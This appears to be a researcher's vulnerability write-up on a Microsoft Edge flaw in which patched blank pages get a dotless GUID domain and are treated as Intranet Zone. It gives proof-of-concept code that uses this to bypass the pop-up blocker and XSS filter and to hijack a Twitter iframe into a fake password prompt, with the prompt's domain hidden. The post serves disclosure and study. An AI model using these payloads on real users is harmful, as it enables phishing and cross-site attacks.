Defeating the popUp blocker, the XSS filter and SuperNavigate with our fake ticket to the Intranet Zone (Edge)

Last year we explored the domainless blank technique to create UXSS/SOP bypasses on both Microsoft Edge and Internet Explorer. The Edge version has been recently patched but unfortunately the fix introduces a new security issue which allows attackers to exploit other things. In other words, the patch kills a bug but creates another one.

In a hurry? Watch the 35 sec video where we quickly show what can be done with this vulnerability.

The original problem was that domainless pages (about:blank URLs with empty document.domains) were essentially capable of accessing the DOM of any document-origin, but Microsoft patched this by adding a random domain (GUID) to them. In other words, the domainless blanks are not domainless anymore. They are always rendered with random domains like {53394a4f-8c04-46ab-94af-3ab86ffcfd4c}.

While testing the patch I immediately stumbled upon this GUID-domain, so I changed my focus. The original goal was to analyze the patch and try to bypass it, but when that nice URL appeared in front of my face it reminded me IE zones which are to some extent inherited by Edge.

Intranet vs Internet

As you probably know, webpages running in the Intranet Zone have less restrictions than the ones in Internet. Edge has different mechanisms to distinguish when a page is being loaded from the Intranet vs Internet and the most notable is the dotless URL.

When a webpage is rendered from a domain without dots, like http://localhost, Edge renders it with less restrictions than the same page in http://localhost.com because the former is considered to be in Intranet Zone.

No dots in the URL? It’s Intranet. Of course, there are exceptions like about:blank which is also considered Internet Zone even without having dots in the URL.

Anyway, if we manage to fool Edge into thinking that our webpage is part of an Intranet, then we will be free to do stuff that wouldn’t be normally possible. Example? Disable the pop-up blocker, the XSS-filter, and even enable SuperNavigate: the capability of setting the location of iframes and windows that are not in our domain. We will see how powerful is this a bit later, but first, let’s see on IE what things are possible when we are in the Intranet Zone. I know we are speaking of Edge, but IE has this simple dialog in plain English which comes handy just to see which security features are disabled in Intranet Zone.

Welcome to the Intranet Zone

The screenshot above shows at least three interesting features the attacker can use if she has a ticket to the Intranet Zone. And it turns out the dotless GUID makes Edge think that we are in the Intranet Zone allowing us to bypass all those restrictions. So bug hunter, this will be super easy once we ride into the Intranet. Let’s do it!

Load a data:uri in the top. Our location is now data: but the domain is the same as the one who loaded this data:uri (still Internet Zone) document.write the data:uri against itself. This leaves us with a data:uri as the URL but its domain is now a random GUID. We are in Intranet zone!

Edge will try to prevent us from loading a data: URI on top, but Flash is our friend here and it lets us load data:URIs on top. We will use the simple getURL from Flash. Take a look at the code below. We are rendering a Flash inside an iframe, and the Flash itself changes the URL of the top window by a data:URI.

<iframe></iframe> <script> window[0].location.replace('geturl.swf?TARGET=_top&REDIR=data:,'+ '<script>window.onload=function(){'+ ' document.write("We are in a GUID URL (Intranet Zone) now");'+ ' document.close();'+ '}<\/script>'); </script> 1 2 3 4 5 6 7 8 9 10 <iframe> </iframe> <script> window [ 0 ] . location . replace ( 'geturl.swf?TARGET=_top&REDIR=data:,' + '<script>window.onload=function(){' + ' document.write("We are in a GUID URL (Intranet Zone) now");' + ' document.close();' + '}<\/script>' ) ; </script>

Also, it is important to render the Flash inside an iframe, otherwise Edge will complain. But anyway, once the above happens we are in Intranet Zone. Let’s have fun now!

Abusing of the Intranet Zone

The following three PoCs will always use first the code described above to get into the Intranet Zone and then run the payloads below. Also, the payloads will be loaded from an external script so we can work more comfortably. I don’t like encoding tons of bytes in the data:URI. It confuses me!

Let’s go with the PopUp blocker bypass. Be aware that once you click on the link below, it will open 5 popups without your interaction. The code works as if the pop-up blocker did not exist.

for (var i=0; i<5; i++) { window.open("http://www.bing.com","","width=200,height=600"); } 1 2 3 4 5 6 for ( var i = 0 ; i < 5 ; i ++ ) { window . open ( "http://www.bing.com" , "" , "width=200,height=600" ) ; }

[ Patched on 2017-05-09 ]

That was nice, now we can open pop-ups without restrictions or user interaction. What about the XSS filter? Let’s XSS my other site, caballero.com.ar.

window.open("https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)<\/script>","_self"); 1 2 3 window . open ( "https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)<\/script>" , "_self" ) ;

[ Patched on 2017-05-09 ]

Great! Remember that these PoCs will work only if we are running in the Intranet Zone. In reality it’s not correct to call them “bypasses” because this is the default behavior in Intranet. We just set our zone to another one less restrictive and now we can freely play, that’s all. But let’s go with one more, the SuperNavigate one. Have you heard of it before? It allows the attacker to change the URL of any window/iframe regardless of its domain.

Maybe that’s a bit confusing, let’s try with an example: it allows the attacker to change the URL of a twitter-iframe that is running on a different tab, and that tab could be there before us. In other words, we don’t even need to open Twitter tab. If the user has Twitter opened anywhere, we can actually interact with it. Wow! Let’s change the URL of an iframe named “twitter-iframe” which is rendered by Twitter. Want to see it live?

OK, but let’s take a look at the code first.

win = window.open("https://www.twitter.com"); function wait_for_tweet_post_iframe() { // Wait until the twitter iframe exists if (win["tweet-post-iframe"]) { //Change the location of the twitter-iframe. This fires the prompt window.open("twitter_pass.html", "tweet-post-iframe"); clearInterval(interval); } } // Keep running until the twitter-iframe becomes available interval = setInterval(wait_for_tweet_post_iframe, 500); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 win = window . open ( "https://www.twitter.com" ) ; function wait_for_tweet_post_iframe ( ) { // Wait until the twitter iframe exists if ( win [ "tweet-post-iframe" ] ) { //Change the location of the twitter-iframe. This fires the prompt window . open ( "twitter_pass.html" , "tweet-post-iframe" ) ; clearInterval ( interval ) ; } } // Keep running until the twitter-iframe becomes available interval = setInterval ( wait_for_tweet_post_iframe , 500 ) ;

[ Patched on 2017-05-09 ]

That was fun! One last thing before you go, bug hunter. Maybe you noted that Twitter’s prompt seemed to really be coming from a twitter domain. Normally a window.prompt shows the domain of the URL that fired it, but we can get rid of that. Read below if you are interested, it’s pretty easy.

Remove domain from window.prompt

As shown above, a regular prompt will show its domain-origin, however, there’s a very simple trick that removes that information: execute the prompt from an about:blank iframe. That’s enough to “clean” the domain from the prompt.

<iframe></iframe> <script> window[0].prompt("No domain shown"); </script> 1 2 3 4 5 6 <iframe> </iframe> <script> window [ 0 ] . prompt ( "No domain shown" ) ; </script>

I know it’s no big deal, but this little thing makes our prompt look like the real Twitter one. Just a detail.

If you want to analyze everything and play offline, grab all the PoCs together.

Have a nice day! 🙂

Manuel.